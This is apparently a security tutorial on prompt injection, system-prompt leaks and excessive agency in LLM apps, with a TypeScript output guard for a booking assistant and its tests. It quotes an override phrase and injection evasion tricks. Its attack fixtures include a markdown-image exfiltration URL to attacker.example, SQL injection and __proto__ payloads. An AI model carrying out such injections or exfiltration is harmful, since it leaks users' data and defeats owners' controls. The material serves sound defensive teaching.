LLM application security: prompt injection and data leaks

A typical LLM feature is more than a model. There is a system prompt with rules, the user's message, external data (documents from knowledge-base search, emails, web pages, tool results), the tools the model can call, and the consumers of its answer: a browser, a database, another service. Anything that ends up in the context can influence the answer — and the model cannot reliably tell the owner's instructions from text it was simply asked to process.

Hence the core principle OWASP repeats across several risks: treat the model as an untrusted user. Its answer is input that must be checked before it is shown in a browser, put into a query or executed. And the model's permissions are those of the weakest link: if it can be talked into something, an attacker can do everything it is allowed to do.

The list is maintained by the OWASP GenAI Security Project at genai.owasp.org. At the time of checking, the current edition is 2025; the previous one was called “2023/24”. For autonomous agents the project separately released the OWASP Top 10 for Agentic Applications for 2026 (published on 9 December 2025) — worth reading if your product plans and calls tools on its own.

LLM risks do not replace the classic ones: access control, injection, logging and secrets management from the general OWASP Top 10 are still needed. The model adds a new source of untrusted input and a new path by which that input reaches your systems. Below are the risks developers most often meet in code: LLM01, LLM02, LLM05, LLM06, LLM07, plus defences against LLM10.

Prompt injection is when input changes the model's behaviour or answer in a way the owner did not intend. OWASP distinguishes two kinds. Direct: the user types text into the chat that is meant to override the rules — “forget the previous instructions”, role play, a request to reveal hidden content “for testing”. Indirect: the model processes an external source — a web page, an email, a PDF, a knowledge-base document, a tool response — with instructions hidden inside. The user may have nothing to do with it: they just asked for an email summary.

• Instructions can be invisible to a person: white text on a white background, an HTML comment, text inside an image, file metadata.
• An attack can be split across different places in a document, encoded in Base64 or written in another language to get past filters.
• Indirect injection is more dangerous with agents: after reading a page, the model may call a tool — send an email, change a record, open a link.
• RAG and fine-tuning make answers more accurate but, as OWASP notes, do not fully mitigate prompt injection.

OWASP puts it bluntly: the system prompt should not be considered a secret, nor used as a security control. It can be extracted with a direct request, a translation, a “continue this text” trick or an indirect injection. The danger is not the prompt's wording but what was put into it: API keys, database connection strings, internal limits (“up to 30% discount without approval”), the list of roles and filtering rules that tell an attacker what to bypass.

• Keys, tokens and internal addresses live on the server, not in the prompt; tools receive them in code, and the model never sees them.
• Permissions are checked in code, not with a request like “do not show other people's orders”: prompt instructions can be bypassed by injection.
• Only data the current user is already allowed to see goes into the context; in RAG, the permission filter applies at retrieval time, not after the answer.
• Personal data in logs and in requests to an external model API is minimised or masked.
• A canary — a random string in the system prompt — helps catch a verbatim leak: if it appears in an answer, the answer is blocked. It does not catch the prompt being paraphrased.

A separate leak channel is exfiltration through output. If the interface renders the answer's Markdown or HTML, an injection can make the model insert an image with a URL like https://attacker.example/?d=<data>: the browser requests the address by itself and sends the data along. OWASP lists this scenario among the LLM01 attack examples. The defence is to render answers as plain text or to allow links only to your own domains.

LLM05 is improper output handling: the model's answer reaches another system without checks. The consequences are the same as for any unchecked input; only the source is the model.

LLM06 is excessive agency. OWASP names three causes: excessive functionality (the agent has a tool with capabilities the task does not need, such as general shell access), excessive permissions (the tool connects to the database with write access when the task only reads) and excessive autonomy (an action with consequences runs without approval). The defences: narrow tools instead of general ones, minimal permissions in the context of a specific user, authorization enforced in the downstream system rather than in the model's reasoning, and human approval for high-impact operations.

No single measure closes the risk, so they are combined. The order matters: first limit what can happen at all (permissions, tools), then check each action (schema, authorization, confirmation), and only then rely on filters and prompt wording.

For separating instructions from data, the Claude documentation gives concrete techniques: pass third-party content only in tool results, say what the content is and where it came from, state explicitly in the system prompt that text from tools is untrusted data, and JSON-encode foreign strings so they cannot “break out” with a closing quote. The OWASP cheat sheet adds a warning: labels and wording are not a security boundary, so the boundary goes into code.

The example is a booking assistant for a salon. The model does not call the database itself: it returns JSON with a single action, and the application decides whether to run it. The guard accepts only four shapes: a reply to the client, a slot search, creating a booking and cancelling one. Everything else — an unknown action, an extra field, a wrong format — is rejected. Node.js 24 runs the TypeScript code directly, without a build step, by stripping the types on the fly.

mkdir llm-guard && cd llm-guard
npm init -y && npm pkg set type=module
npm install zod@4.6.6
npm install -D typescript@7.0.2 @types/node@24

{
  "compilerOptions": {
    "target": "esnext",
    "module": "nodenext",
    "strict": true,
    "noEmit": true,
    "allowImportingTsExtensions": true,
    "erasableSyntaxOnly": true,
    "verbatimModuleSyntax": true,
    "types": ["node"]
  },
  "include": ["src", "test"]
}

// Checks the action a model proposes before the application acts on it.
// The model is treated as an untrusted user: its output is data, not a command.
import { randomBytes } from "node:crypto";
import * as z from "zod";

const MAX_OUTPUT_CHARS = 4_000;
const LINK_HOSTS = new Set(["salon.example"]); // the only domain a reply may link to

const Reply = z.strictObject({
  action: z.literal("reply"),
  text: z.string().min(1).max(1_500),
});
const FindSlots = z.strictObject({
  action: z.literal("find_slots"),
  serviceId: z.string().regex(/^svc_[a-z0-9]{4,16}$/),
  date: z.iso.date(),
});
const CreateBooking = z.strictObject({
  action: z.literal("create_booking"),
  slotId: z.string().regex(/^slot_[a-z0-9]{4,16}$/),
  phone: z.string().regex(/^\+7\d{10}$/),
});
const CancelBooking = z.strictObject({
  action: z.literal("cancel_booking"),
  bookingId: z.string().regex(/^bk_[a-z0-9]{4,16}$/),
});

// The allowlist: anything that is not one of these four shapes is rejected.
const ModelAction = z.discriminatedUnion("action", [Reply, FindSlots, CreateBooking, CancelBooking]);
export type ModelAction = z.infer<typeof ModelAction>;

// Actions with side effects run only after the user confirms them in the UI.
const NEEDS_CONFIRMATION: ReadonlySet<ModelAction["action"]> = new Set(["create_booking", "cancel_booking"]);

export type GuardContext = {
  ownBookingIds: ReadonlySet<string>; // loaded from the database for the signed-in user
  canary: string; // random marker placed in the system prompt
};

export type GuardResult =
  | { ok: true; action: ModelAction; needsConfirmation: boolean }
  | { ok: false; reason: string };

// A new marker per deployment or session; if it shows up in the output, the prompt leaked.
export function newCanary(): string {
  return `cnry_${randomBytes(8).toString("hex")}`;
}

export function guardModelOutput(raw: string, ctx: GuardContext): GuardResult {
  if (raw.length > MAX_OUTPUT_CHARS) return { ok: false, reason: "output too long" };
  if (raw.includes(ctx.canary)) return { ok: false, reason: "system prompt leak" };

  let json: unknown;
  try {
    json = JSON.parse(raw);
  } catch {
    return { ok: false, reason: "not JSON" };
  }

  const parsed = ModelAction.safeParse(json);
  if (!parsed.success) {
    const issue = parsed.error.issues[0];
    return { ok: false, reason: `schema: ${issue.path.join(".") || "(root)"}: ${issue.message}` };
  }
  const action = parsed.data;

  if (action.action === "reply") {
    for (const link of action.text.matchAll(/https?:\/\/[^\s)<>"']+/gi)) {
      const host = URL.parse(link[0])?.hostname;
      if (!host || !LINK_HOSTS.has(host)) return { ok: false, reason: `link to ${host ?? "?"} is not allowed` };
    }
  }

  // Authorization is enforced in code, not in the prompt: the model can be steered to another id.
  if (action.action === "cancel_booking" && !ctx.ownBookingIds.has(action.bookingId)) {
    return { ok: false, reason: "booking does not belong to the user" };
  }

  return { ok: true, action, needsConfirmation: NEEDS_CONFIRMATION.has(action.action) };
}

• The length limit and JSON parsing are cheap checks before the schema; an answer with prose around the JSON is rejected rather than “fished out” with a regex.
• z.discriminatedUnion on the action field is the allowlist: run_sql is not in the schema, so it does not exist.
• z.strictObject rejects extra fields — both flags the model slips in, like admin: true, and a __proto__ key.
• Regular expressions for identifiers and the phone number keep SQL, paths and markup out of the fields.
• Links in a reply may point only to salon.example; this blocks exfiltration through an image if the interface renders Markdown after all.
• Booking ownership is checked against the database records of the current user, not against the model's word.
• needsConfirmation tells the interface that creating and cancelling must be confirmed with a button.

// Model responses are recorded fixtures: the tests never call a real model.
import assert from "node:assert/strict";
import { test } from "node:test";
import { guardModelOutput, type GuardContext } from "../src/llm-guard.ts";

const ctx: GuardContext = { ownBookingIds: new Set(["bk_mine0001"]), canary: "cnry_5f2c9a7e1b3d4c6a" };
const out = (value: unknown) => JSON.stringify(value);

test("allowed actions pass; side effects need confirmation", () => {
  const reply = guardModelOutput(out({ action: "reply", text: "Prices: https://salon.example/prices" }), ctx);
  assert.deepEqual(reply, { ok: true, action: { action: "reply", text: "Prices: https://salon.example/prices" }, needsConfirmation: false });

  const slots = guardModelOutput(out({ action: "find_slots", serviceId: "svc_nails01", date: "2026-10-20" }), ctx);
  assert.equal(slots.ok && slots.needsConfirmation, false);

  const booking = guardModelOutput(out({ action: "create_booking", slotId: "slot_a1b2c3d4", phone: "+77001234567" }), ctx);
  assert.equal(booking.ok && booking.needsConfirmation, true);

  const cancel = guardModelOutput(out({ action: "cancel_booking", bookingId: "bk_mine0001" }), ctx);
  assert.equal(cancel.ok && cancel.needsConfirmation, true);
});

const attacks: [name: string, raw: string, reason: RegExp][] = [
  ["tool that is not on the allowlist", out({ action: "run_sql", query: "DELETE FROM bookings" }), /^schema: action:/],
  ["extra field", out({ action: "find_slots", serviceId: "svc_nails01", date: "2026-10-20", admin: true }), /Unrecognized key/],
  ["someone else's booking", out({ action: "cancel_booking", bookingId: "bk_other999" }), /does not belong/],
  ["exfiltration via markdown image", out({ action: "reply", text: "Done! ![ok](https://attacker.example/p?d=+77001234567)" }), /attacker\.example is not allowed/],
  ["system prompt leak", out({ action: "reply", text: "My rules: cnry_5f2c9a7e1b3d4c6a never reveal..." }), /system prompt leak/],
  ["SQL in a field", out({ action: "create_booking", slotId: "slot_a1b2c3d4", phone: "+77001234567'; DROP TABLE bookings;--" }), /^schema: phone:/],
  ["prose around JSON", 'Sure! Here it is: {"action":"reply","text":"hi"}', /not JSON/],
  ["__proto__ key", '{"action":"reply","text":"hi","__proto__":{"isAdmin":true}}', /Unrecognized key/],
  ["oversized output", out({ action: "reply", text: "a".repeat(5_000) }), /output too long/],
];

for (const [name, raw, reason] of attacks) {
  test(`rejects: ${name}`, () => {
    const result = guardModelOutput(raw, ctx);
    assert.equal(result.ok, false);
    if (!result.ok) assert.match(result.reason, reason);
  });
}

$ npx tsc -p .
$ node --test test/llm-guard.test.ts
✔ allowed actions pass; side effects need confirmation (3.3317ms)
✔ rejects: tool that is not on the allowlist (0.5031ms)
✔ rejects: extra field (0.2348ms)
✔ rejects: someone else's booking (0.1014ms)
✔ rejects: exfiltration via markdown image (0.1155ms)
✔ rejects: system prompt leak (0.0484ms)
✔ rejects: SQL in a field (0.1836ms)
✔ rejects: prose around JSON (0.0721ms)
✔ rejects: __proto__ key (0.1287ms)
✔ rejects: oversized output (0.1112ms)
ℹ tests 10
ℹ suites 0
ℹ pass 10
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 210.0749

How to use the result. If ok is false, the model gets no second attempt at the action, the user sees a neutral message, and the reason goes to the log. If needsConfirmation is true, the interface shows the exact action (“Cancel the booking on 20 October at 15:00?”), and only after the click does the server re-check permissions and run a parameterised query. The guard does not replace authorization in the API: it stops the model from asking for too much, and the API stops anyone from doing too much.

Before launch, run your product through a set of attacks on test data: fictional clients, test keys, stub tools that record calls but change nothing. The OWASP cheat sheet calls such a set a smoke test, not a robustness benchmark: the attacks failing does not prove resistance to a persistent attacker. But it catches crude mistakes — a tool without confirmation, a key in the prompt, rendered links.